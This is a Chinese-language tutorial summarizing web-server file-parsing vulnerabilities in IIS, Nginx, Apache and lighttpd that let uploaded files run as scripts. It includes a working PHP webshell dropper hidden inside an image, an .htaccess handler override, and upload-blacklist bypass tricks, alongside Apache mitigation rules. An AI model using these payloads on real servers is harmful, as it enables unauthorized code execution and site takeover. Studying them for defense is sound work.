IIS 6.0/7.0/7.5、Nginx、Apache 等Web Service解析漏洞总结
[+]IIS 6.0
目录解析:/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
IIS6.0 会将 xx.jpg 解析为 asp 文件。
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
(IIS6.0解析漏洞的成因,可以查阅罗哥写的一篇短文:IIS文件名解析漏洞扼要分析)
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}
(发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论)
默认解析:/xx.asa /xx.cer /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
(这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患)
此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37
IIS 7.0/IIS 7.5/Nginx <=0.8.37
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd
[+]Nginx <=0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)
[+]Apache
后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3 则会被解析为php
经验之谈:php|php3|phtml 多可被Apache解析
(关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”)
Apache解析漏洞详解(文章转自milantgh窗含西岭千秋雪大佬的博客)
很多次听到人说apache的“解析漏洞”了,正好今天又有人问,那就简单科普一下这个“解析漏洞”是何物。
先来看测试过程和结果的对比吧。
结果一
首先,我安装了apache 2.x版本,同时以module方式使apache与php结合,测试发现确实存在这样的解析漏洞。
结果二
然后,我将apache与php的结合方式修改为fastcgi方式,测试发现爆500错误,不存在这样的解析漏洞。
错误提示:
1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x
意思就是不知道该如何解析这个文件。
结果出来了,那么对于影响范围这块,在目前所有的apache版本中均存在此问题,但只适用于以module方式解析php的apache,使用fastcgi方式解析php的apache不受影响,使用cgi方式解析php的apache是否影响未测试。
下面来简单分享一下测试过程中我发现的一点经验。
先来看一下apache的主配置文件httpd.conf,搜索“DefaultType”,就可以看到这么一段注释和默认配置:
# # DefaultType: the default MIME type the server will use for a document # if it cannot otherwise determine one, such as from filename extensions. # If your server contains mostly text or HTML documents, "text/plain" is # a good value. If most of your content is binary, such as applications # or images, you may want to use "application/octet-stream" instead to # keep browsers from trying to display binary files as though they are # text. #10DefaultType text/plain
DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件,比如f4ck.xxx这样的文件,扩展名是xxx,这肯定不是一个正常的网页或脚本文件,这个参数就是告诉apache该怎么处理这种未知扩展名的文件。
参数DefaultType的默认值是“text/plain”,也就是遇到未知扩展名的文件,就把它当作普通的txt文本或html文件来处理。
测试一
比如我将以下代码保存为f4ck.xxx:
1F4ckTeam apache test
访问它,按照默认的apache配置,这个文件是会被浏览器显示出来具体效果的:
这是对于文件内容为HTML代码的未知扩展名文件来说,文件中的HTML代码会被浏览器执行。
测试二
那么,对于文件内容为php代码的未知扩展名文件来说,这些php代码会被解析吗?
来看测试结果:
可以看到,这里包含php代码的未知扩展名的文件被当作txt文档处理了。
但是,如果将文件名改为f4ck.php.xxx,那么就会被以module方式运行php的apache解析,为什么?
因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。
官方解释见:http://httpd.apache.org/docs/current/mod/directive-dict.html,搜索“extension”即可看到。
摘录官方解释:
extension
In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.
那么,对于“测试一”和“测试二”来说,apache发现这个文件的扩展名是未知的,那么它会先看在扩展名之前是否有其他的可识别的扩展名,但是该 案例中的完整文件名为“f4ck.xxxx”,在扩展名“xxxx”之前没有其他的可识别扩展名了,所以apache就按照httpd.conf中参数 DefaultType的值来决定该文件的处理方式,即作为txt文档处理。
同样的,对于“结果一”和“结果二”来说,也是按照这样的方式来逐步确定未知扩展名文件的解析方式,首先apache发现这个文件的扩展名是未知 的,那么它会先看在扩展名之前是否有其他的可识别的扩展名,在该案例中的完整文件名为“f4ck.php.x”,那么apache就发现在未知扩展名 “x”之前有一个可识别的扩展名是“php”,那么apache就会认为这是一个php文件,就会把这个文件按照解析php文件的方式来解析。
说到这里,就不得不提一下,apache对于扩展名的定义都是写在conf/mime.types文件中的,看一下图:
文件mime.types定义了apache处理不同扩展名文件的方法,文件httpd.conf中参数DefaultType的值定义了apache处理未知扩展名文件的方法。
另外,文件httpd.conf中语句块“”中可以用“AddType”语句来定义apache解析不同扩展名文件的方法。
处理和解析是完全不同的概念,这就好像对于apache+php结合的网站来说,apache是应用服务器,php是中间件,apache只负责接 收/响应HTTP请求,php却负责.php文件的解释执行。Php将.php文件解释执行完毕后,将生成的HTML代码发送给apache,再由 apache将HTML代码发送给客户端。
另外说一下,扩展名rar并没有在文件mime.types中出现,所以如果遇到可以上传rar文件且与php的结合方式为module方式的apache,则可以直接上传类似“f4ck.php.rar”的文件来获得webshell。
解决方案一
在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为*.php.*的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)"> Order Deny,Allow Deny from all </FilesMatch>
解决方案二
如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace('.', '_', $filename);
如果不需要保留文件名,可以修改程序源代码,将上传文件名重命名为时间戳+随机数的格式。
总结:网上说的“低版本的apache存在未知扩展名解析漏洞”的说法是错误的,正确的说法应该是使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中 至少带有一个“.php”,否则将默认被作为txt/html文档处理。
[+]其他一些可利用的
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。
我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}
如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas),
且可以被上传,那可以尝试在.htaccess中写入:
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
[+]lighttpd
xx.jpg/xx.php